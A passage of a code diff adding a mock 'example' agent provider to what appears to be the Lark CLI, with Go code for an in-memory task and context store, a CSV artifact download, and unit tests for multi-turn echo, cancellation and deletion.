task, err := store.getTask(s.agentID, taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
// listTasks lists tasks, optionally filtered by contextID (empty string means no filter).
|
||||
func (s *state) listTasks(ctx context.Context, contextID string) ([]agent.TaskSummary, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store.listTasks(s.agentID, contextID), nil
|
||||
}
|
||||
|
||||
// cancelTask cancels a task. It is wired only for reporter (task_cancel=true), so
|
||||
// echo never reaches it — the command layer gates echo's cancel on the nil field
|
||||
// and returns unsupported_capability before any provider code runs. The mock
|
||||
// task is completed the moment it is sent, so canceling a terminal task returns a
|
||||
// failed_precondition typed error (state not satisfied, exit 2) rather than
|
||||
// pretending success — honest error semantics matter as much as honest capability
|
||||
// wiring.
|
||||
func (s *state) cancelTask(ctx context.Context, taskID string) error {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return err
|
||||
}
|
||||
task, err := store.getTask(s.agentID, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if task.State.IsTerminal() {
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"任务 '%s' 已处于终态 %s,无法取消", taskID, task.State).
|
||||
WithHint("终态任务不可取消;用 lark-cli agent task get example:%s %s 查看结果", s.agentID, taskID)
|
||||
}
|
||||
return store.setTaskState(taskID, agent.StateCanceled)
|
||||
}
|
||||
|
||||
// listContexts lists multi-turn contexts.
|
||||
func (s *state) listContexts(ctx context.Context) ([]agent.ContextSummary, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store.listContexts(s.agentID), nil
|
||||
}
|
||||
|
||||
// getContext returns a single context's detail (including its task list).
|
||||
func (s *state) getContext(ctx context.Context, ctxID string) (*agent.ContextDetail, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store.getContext(s.agentID, ctxID)
|
||||
}
|
||||
|
||||
// deleteContext deletes a context (a destructive operation; the --yes gate is in the command layer).
|
||||
func (s *state) deleteContext(ctx context.Context, ctxID string) error {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return err
|
||||
}
|
||||
return store.deleteContext(s.agentID, ctxID)
|
||||
}
|
||||
|
||||
// reportCSV is the fixed content of the reporter artifact (inline text, demonstrating a Bytes-type artifact).
|
||||
const reportCSV = "quarter,revenue,cost,margin\n" +
|
||||
"2026Q1,1250,830,0.336\n" +
|
||||
"2026Q2,1410,905,0.358\n"
|
||||
|
||||
// downloadArtifact fetches artifact data. It is wired only for reporter
|
||||
// (artifact_download=true); echo never reaches it (gated on the nil field).
|
||||
// example uses the inline Bytes type (the command layer writes it to disk
|
||||
// directly); the URL type (a real provider's signed URL) fills the URL field, and
|
||||
// SSRF validation plus the download are handled uniformly by the command layer.
|
||||
//
|
||||
// Teaching point (suggested_name): ArtifactData.Name is the "server-suggested
|
||||
// file name", echoed back only as a suggested_name for the caller to reference
|
||||
// when choosing -o — it is untrusted input and must never participate in
|
||||
// constructing the local save path (the contract.go rule; the save path is
|
||||
// always determined by -o/SafeOutputPath).
|
||||
func (s *state) downloadArtifact(ctx context.Context, taskID, artifactID string) (*agent.ArtifactData, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
task, err := store.getTask(s.agentID, taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, a := range task.Artifacts {
|
||||
if a.ID == artifactID {
|
||||
return &agent.ArtifactData{
|
||||
Name: "quarterly_report.csv",
|
||||
Mime: "text/csv",
|
||||
Bytes: []byte(reportCSV),
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
|
||||
WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", s.agentID, taskID)
|
||||
}
|
||||
|
||||
// truncateTitle takes the first few characters of the message as the
|
||||
// conversation title (truncated by rune to avoid cutting a character in half).
|
||||
func truncateTitle(s string) string {
|
||||
const max = 20
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
311
agent/example/example_test.go
Normal file
311
agent/example/example_test.go
Normal file
@@ -0,0 +1,311 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/agent/agenttest"
|
||||
)
|
||||
|
||||
// swapStore replaces the package-level store with an isolated instance pointing at
|
||||
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
|
||||
func swapStore(t *testing.T) {
|
||||
t.Helper()
|
||||
old := store
|
||||
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
t.Cleanup(func() { store = old })
|
||||
}
|
||||
|
||||
// buildProvider builds an example *Provider with zero-value Deps (the mock never needs a Client).
|
||||
func buildProvider(t *testing.T, agentID string) *agent.Provider {
|
||||
t.Helper()
|
||||
p, err := newProvider(agent.Deps{}, agentID)
|
||||
if err != nil {
|
||||
t.Fatalf("newProvider: %v", err)
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// TestConformance runs the shared conformance suite: locking registration metadata,
|
||||
// the zero-value Deps contract, the single-source Card, and catalog enumeration (the
|
||||
// discovery group automatically verifies ListAgents contains example:echo and enumerates stably).
|
||||
func TestConformance(t *testing.T) {
|
||||
agenttest.RunConformance(t, scheme, "echo")
|
||||
}
|
||||
|
||||
// TestConformanceReporter runs it again with reporter, so both catalog entries are locked by the contract.
|
||||
func TestConformanceReporter(t *testing.T) {
|
||||
agenttest.RunConformance(t, scheme, "reporter")
|
||||
}
|
||||
|
||||
// TestCapabilityMatrixDiverges pins the deliberate difference between the two agents'
|
||||
// capability matrices (the core of the teaching demo: honest capability declaration
|
||||
// plus task_cancel true for one and false for the other).
|
||||
func TestCapabilityMatrixDiverges(t *testing.T) {
|
||||
// The card matrix is derived from which Provider fields the Factory wires per
|
||||
// agent, so DeriveCapabilities over the two constructed providers is the
|
||||
// single source under test.
|
||||
ec := agent.DeriveCapabilities(buildProvider(t, "echo"))
|
||||
rc := agent.DeriveCapabilities(buildProvider(t, "reporter"))
|
||||
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
|
||||
t.Errorf("echo should be the minimal capability set (no artifact/file/cancel), got %+v", ec)
|
||||
}
|
||||
if !ec.MultiTurn || !ec.TaskGet || !ec.TaskList {
|
||||
t.Errorf("echo should support multi_turn/task_get/task_list, got %+v", ec)
|
||||
}
|
||||
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.MultiTurn && rc.TaskGet && rc.TaskList) {
|
||||
t.Errorf("reporter should have everything enabled, got %+v", rc)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoMultiTurn verifies multi-turn context memory: the first turn echoes the
|
||||
// original text and generates a context_id, and a follow-up in the same context
|
||||
// echoes with a turn marker.
|
||||
func TestEchoMultiTurn(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
ctx := context.Background()
|
||||
|
||||
t1, err := p.Send(ctx, agent.SendInput{Text: "hello"})
|
||||
if err != nil {
|
||||
t.Fatalf("first-turn Send: %v", err)
|
||||
}
|
||||
if t1.State != agent.StateCompleted {
|
||||
t.Fatalf("send should be immediately completed, got %s", t1.State)
|
||||
}
|
||||
if t1.ContextID == "" || t1.TaskID == "" {
|
||||
t.Fatalf("first turn should generate context_id/task_id: %+v", t1)
|
||||
}
|
||||
if got := agentReply(t, t1); got != "hello" {
|
||||
t.Fatalf("first-turn echo should be the original text, got %q", got)
|
||||
}
|
||||
|
||||
t2, err := p.Send(ctx, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
|
||||
if err != nil {
|
||||
t.Fatalf("follow-up Send: %v", err)
|
||||
}
|
||||
if t2.ContextID != t1.ContextID {
|
||||
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
|
||||
}
|
||||
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
|
||||
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
|
||||
}
|
||||
|
||||
// GetTask / ListTasks / ListContexts / GetContext read the same state machine.
|
||||
got, err := p.GetTask(ctx, t2.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("GetTask: %v", err)
|
||||
}
|
||||
if agentReply(t, got) != "再来(第 2 轮)" {
|
||||
t.Fatalf("GetTask should replay the stored messages, got %+v", got.Messages)
|
||||
}
|
||||
tasks, err := p.ListTasks(ctx, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 2 {
|
||||
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
|
||||
}
|
||||
ctxs, err := p.ListContexts(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
|
||||
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
|
||||
}
|
||||
detail, err := p.GetContext(ctx, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(detail.Tasks) != 2 {
|
||||
t.Fatalf("context detail should contain 2 tasks, got %+v", detail)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStateSurvivesReload pins the cross-process semantics: swapping in a new store
|
||||
// instance pointing at the same snapshot file (simulating a new CLI process), the task
|
||||
// is still queryable -- the offline demo chain depends on this.
|
||||
func TestStateSurvivesReload(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
task, err := p.Send(context.Background(), agent.SendInput{Text: "persist"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// A new store instance = a new process view; only the snapshot file is shared memory.
|
||||
store = newMemoryStore(store.path)
|
||||
got, err := p.GetTask(context.Background(), task.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("GetTask after reload: %v", err)
|
||||
}
|
||||
if got.ContextID != task.ContextID {
|
||||
t.Fatalf("task should replay fully after reload: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterArtifactFlow verifies the full artifact chain: send produces {ID, Kind:text},
|
||||
// and DownloadArtifact returns inline Bytes + suggested_name.
|
||||
func TestReporterArtifactFlow(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "reporter")
|
||||
ctx := context.Background()
|
||||
|
||||
task, err := p.Send(ctx, agent.SendInput{Text: "本季度报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(task.Artifacts) != 1 {
|
||||
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
|
||||
}
|
||||
art := task.Artifacts[0]
|
||||
if art.ID == "" || art.Kind != "text" {
|
||||
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
|
||||
}
|
||||
|
||||
data, err := p.DownloadArtifact(ctx, task.TaskID, art.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("DownloadArtifact: %v", err)
|
||||
}
|
||||
if data.Name != "quarterly_report.csv" {
|
||||
t.Errorf("suggested_name should be quarterly_report.csv, got %q", data.Name)
|
||||
}
|
||||
if data.Mime != "text/csv" {
|
||||
t.Errorf("mime should be text/csv, got %q", data.Mime)
|
||||
}
|
||||
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
|
||||
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
|
||||
}
|
||||
|
||||
// Unknown artifact id -> typed validation error.
|
||||
if _, err := p.DownloadArtifact(ctx, task.TaskID, "art_nope"); err == nil {
|
||||
t.Fatal("unknown artifact id should return an error")
|
||||
} else if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoUnwiredCapabilities verifies the new capability model: echo (the
|
||||
// minimal set) simply leaves CancelTask / DownloadArtifact unwired and FileInput
|
||||
// false. There is no capability-refusal code — the command layer gates on the
|
||||
// nil fields and returns unsupported_capability before any provider method runs.
|
||||
func TestEchoUnwiredCapabilities(t *testing.T) {
|
||||
p := buildProvider(t, "echo")
|
||||
if p.CancelTask != nil {
|
||||
t.Error("echo should not wire CancelTask (task_cancel=false)")
|
||||
}
|
||||
if p.DownloadArtifact != nil {
|
||||
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
|
||||
}
|
||||
if p.FileInput {
|
||||
t.Error("echo should not accept file input (file_input=false)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterCancelTerminal verifies reporter supports cancel but returns a
|
||||
// failed_precondition typed error for a terminal task (the mock task is completed
|
||||
// as soon as it is sent).
|
||||
func TestReporterCancelTerminal(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "reporter")
|
||||
ctx := context.Background()
|
||||
task, err := p.Send(ctx, agent.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = p.CancelTask(ctx, task.TaskID)
|
||||
if err == nil {
|
||||
t.Fatal("canceling a terminal task should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("terminal cancel should be a typed error, got %T: %v", err, err)
|
||||
}
|
||||
if prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("terminal cancel subtype should be failed_precondition, got %s", prob.Subtype)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUnknownCatalogID verifies an unknown catalog id goes through StaticCatalog.Lookup's
|
||||
// typed error (invalid_argument, with a hint pointing to agent list example).
|
||||
func TestUnknownCatalogID(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "nonexistent")
|
||||
ctx := context.Background()
|
||||
if _, err := agent.BuildCard(ctx, scheme, "nonexistent", p); err == nil {
|
||||
t.Fatal("BuildCard with an unknown catalog id should return an error (Describe validates the id)")
|
||||
}
|
||||
_, err := p.Send(ctx, agent.SendInput{Text: "hi"})
|
||||
if err == nil {
|
||||
t.Fatal("Send with an unknown catalog id should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendGuards pins Send's two typed rejections: --task-id follow-up (terminal
|
||||
// semantics) and an unknown context id.
|
||||
func TestSendGuards(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
ctx := context.Background()
|
||||
|
||||
_, err := p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
|
||||
}
|
||||
|
||||
_, err = p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeleteContext verifies deleting a context also cleans up the tasks under it.
|
||||
func TestDeleteContext(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
ctx := context.Background()
|
||||
task, err := p.Send(ctx, agent.SendInput{Text: "bye"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := p.DeleteContext(ctx, task.ContextID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := p.GetTask(ctx, task.TaskID); err == nil {
|
||||
t.Fatal("after deleting the context its tasks should be unqueryable")
|
||||
}
|
||||
ctxs, err := p.ListContexts(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 0 {
|
||||
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
|
||||
}
|
||||
}
|
||||
|
||||
// agentReply returns the first text reply from the agent role in the task.
|
||||
func agentReply(t *testing.T, task *agent.AgentTask) string {
|
||||
t.Helper()
|
||||
for _, m := range task.Messages {
|
||||
if m.Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, part := range m.Parts {
|
||||
if part.Type == "text" {
|
||||
return part.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
|
||||
return ""
|
||||
}
|
||||
324
agent/example/state.go
Normal file
324
agent/example/state.go
Normal file
@@ -0,0 +1,324 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// ============================================================================
|
||||
// In-memory state machine (teaching focus: concurrency safety of package-level
|
||||
// state + the CLI process boundary)
|
||||
//
|
||||
// A real provider's context/task state lives on the server, so the adapter is
|
||||
// naturally stateless; example is a pure mock and must manage state itself. Two
|
||||
// disciplines the integrator needs to know:
|
||||
//
|
||||
// 1. Concurrency safety: provider instances may be constructed / called
|
||||
// concurrently (e.g. list's probe alongside the real call), so package-level
|
||||
// mutable state must be locked. A single coarse-grained Mutex covers all
|
||||
// reads and writes here — the mock does not chase throughput; correctness comes first.
|
||||
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
|
||||
// in-memory map does not survive a single command — after `send`, a
|
||||
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
|
||||
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
|
||||
// demo chain work across commands. A real provider neither needs nor should
|
||||
// have this layer — it is a mock-only demo device.
|
||||
//
|
||||
// Note that the snapshot is loaded lazily (only on the first real read/write of
|
||||
// state): Register's zero-value Deps probe constructs a provider once at
|
||||
// registration time, and construction must have no side effects (the registry.go
|
||||
// contract), so Factory / Card / ListAgents must not touch store.
|
||||
// ============================================================================
|
||||
|
||||
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
|
||||
// + creation sequence number (list output sorts by creation order to guarantee
|
||||
// stable enumeration).
|
||||
type taskRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Seq int `json:"seq"`
|
||||
Task agent.AgentTask `json:"task"`
|
||||
}
|
||||
|
||||
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
|
||||
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
|
||||
// demonstrate "context memory".
|
||||
type contextRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Title string `json:"title,omitempty"`
|
||||
Seq int `json:"seq"`
|
||||
TaskIDs []string `json:"task_ids"`
|
||||
}
|
||||
|
||||
// memoryStore is the package-level state machine itself: mu covers all fields;
|
||||
// path is the JSON snapshot location; loaded ensures the snapshot is read only
|
||||
// once, on first access.
|
||||
type memoryStore struct {
|
||||
mu sync.Mutex
|
||||
path string
|
||||
loaded bool
|
||||
|
||||
Contexts map[string]*contextRecord `json:"contexts"`
|
||||
Tasks map[string]*taskRecord `json:"tasks"`
|
||||
NextSeq int `json:"next_seq"`
|
||||
}
|
||||
|
||||
// store is the package-level singleton. Tests use swapStoreForTest to replace it
|
||||
// with an instance pointing at t.TempDir, avoiding cross-contamination between
|
||||
// tests and between tests and the local demo state.
|
||||
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
|
||||
|
||||
func newMemoryStore(path string) *memoryStore {
|
||||
return &memoryStore{
|
||||
path: path,
|
||||
Contexts: map[string]*contextRecord{},
|
||||
Tasks: map[string]*taskRecord{},
|
||||
}
|
||||
}
|
||||
|
||||
// loadLocked lazily reads in the snapshot (the caller must already hold the
|
||||
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
|
||||
// mock's demo data is not worth erroring over, so it just starts fresh.
|
||||
func (s *memoryStore) loadLocked() {
|
||||
if s.loaded {
|
||||
return
|
||||
}
|
||||
s.loaded = true
|
||||
data, err := vfs.ReadFile(s.path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var snap memoryStore
|
||||
if json.Unmarshal(data, &snap) != nil {
|
||||
return
|
||||
}
|
||||
if snap.Contexts != nil {
|
||||
s.Contexts = snap.Contexts
|
||||
}
|
||||
if snap.Tasks != nil {
|
||||
s.Tasks = snap.Tasks
|
||||
}
|
||||
s.NextSeq = snap.NextSeq
|
||||
}
|
||||
|
||||
// saveLocked writes the current state back to the snapshot (the caller must
|
||||
// already hold the lock). A write failure returns a typed internal error
|
||||
// (storage subtype) — the mock does not swallow errors either: silently losing
|
||||
// state would make the next command report "task not found", which is harder to
|
||||
// diagnose than a clear error.
|
||||
func (s *memoryStore) saveLocked() error {
|
||||
data, err := json.MarshalIndent(s, "", " ")
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
|
||||
}
|
||||
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
|
||||
// deliberately aligns with the command layer's meta.next interpolation
|
||||
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
|
||||
// string "the AI copies and runs", and an id with shell metacharacters would
|
||||
// cause the whole hint to be suppressed.
|
||||
func newID(prefix string) string {
|
||||
var b [6]byte
|
||||
if _, err := rand.Read(b[:]); err != nil {
|
||||
// crypto/rand being unavailable is an environment-level failure; the mock
|
||||
// degrades to a timestamp that still satisfies the character set.
|
||||
return prefix + "_" + time.Now().UTC().Format("20060102150405")
|
||||
}
|
||||
return prefix + "_" + hex.EncodeToString(b[:])
|
||||
}
|
||||
|
||||
// createContext creates a new context and returns its id (the first-turn send goes here).
|
||||
func (s *memoryStore) createContext(agentID, title string) (string, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
id := newID("ctx")
|
||||
s.NextSeq++
|
||||
s.Contexts[id] = &contextRecord{
|
||||
AgentID: agentID,
|
||||
ContextID: id,
|
||||
CreatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Title: title,
|
||||
Seq: s.NextSeq,
|
||||
}
|
||||
return id, s.saveLocked()
|
||||
}
|
||||
|
||||
// createTask appends a task under ctxID: validate context ownership → compute
|
||||
// the round (which task number in this conversation) → call build under the lock
|
||||
// to construct the task → insert and write the snapshot. build runs inside the
|
||||
// lock to guarantee "compute the round" and "store the task" are atomic, so two
|
||||
// concurrent sends never get the same round.
|
||||
// An unknown / cross-agent context id returns a typed validation error (teaching
|
||||
// point: every error a provider returns must be typed — a bare error would land
|
||||
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
|
||||
// argument", semantically invalid_argument/exit 2, and the AI relies on this
|
||||
// classification to decide between "fix the argument and retry" and "report an
|
||||
// environment failure").
|
||||
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
task := build(len(ctx.TaskIDs) + 1)
|
||||
s.NextSeq++
|
||||
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
|
||||
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
|
||||
return task, s.saveLocked()
|
||||
}
|
||||
|
||||
// getTask fetches a task snapshot by id (returns a copy by value, so the command
|
||||
// layer's in-place edits like normalizeTask do not write through to store). A
|
||||
// cross-agent task is treated as "not found", without leaking another agent's state.
|
||||
func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok || rec.AgentID != agentID {
|
||||
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 task id '%s'(example:%s 名下不存在)", taskID, agentID).
|
||||
WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
|
||||
}
|
||||
return rec.Task, nil
|
||||
}
|
||||
|
||||
// setTaskState updates a task's state (used by reporter's cancel).
|
||||
func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
|
||||
}
|
||||
rec.Task.State = state
|
||||
rec.Task.IsTerminal = state.IsTerminal()
|
||||
return s.saveLocked()
|
||||
}
|
||||
|
||||
// listTasks lists an agent's task summaries, optionally filtered by contextID
|
||||
// (empty string means no filter), output in creation order. IsTerminal is
|
||||
// carried along here for convenience, but the command layer re-derives it from
|
||||
// State via normalizeTask* (single source), so the integrator need not worry
|
||||
// about this field.
|
||||
func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*taskRecord, 0, len(s.Tasks))
|
||||
for _, rec := range s.Tasks {
|
||||
if rec.AgentID != agentID {
|
||||
continue
|
||||
}
|
||||
if contextID != "" && rec.Task.ContextID != contextID {
|
||||
continue
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
|
||||
out := make([]agent.TaskSummary, 0, len(recs))
|
||||
for _, rec := range recs {
|
||||
out = append(out, agent.TaskSummary{
|
||||
TaskID: rec.Task.TaskID,
|
||||
ContextID: rec.Task.ContextID,
|
||||
State: rec.Task.State,
|
||||
IsTerminal: rec.Task.IsTerminal,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// listContexts lists an agent's context summaries, output in creation order.
|
||||
func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*contextRecord, 0, len(s.Contexts))
|
||||
for _, ctx := range s.Contexts {
|
||||
if ctx.AgentID == agentID {
|
||||
recs = append(recs, ctx)
|
||||
}
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
|
||||
out := make([]agent.ContextSummary, 0, len(recs))
|
||||
for _, ctx := range recs {
|
||||
out = append(out, agent.ContextSummary{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
Title: ctx.Title,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// getContext returns a context's detail (including its task summaries, in creation order).
|
||||
func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
detail := &agent.ContextDetail{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
Title: ctx.Title,
|
||||
}
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
if rec, ok := s.Tasks[tid]; ok {
|
||||
detail.Tasks = append(detail.Tasks, agent.TaskSummary{
|
||||
TaskID: rec.Task.TaskID,
|
||||
ContextID: rec.Task.ContextID,
|
||||
State: rec.Task.State,
|
||||
IsTerminal: rec.Task.IsTerminal,
|
||||
})
|
||||
}
|
||||
}
|
||||
return detail, nil
|
||||
}
|
||||
|
||||
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
|
||||
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
|
||||
s.mu.Lock()
|
||||
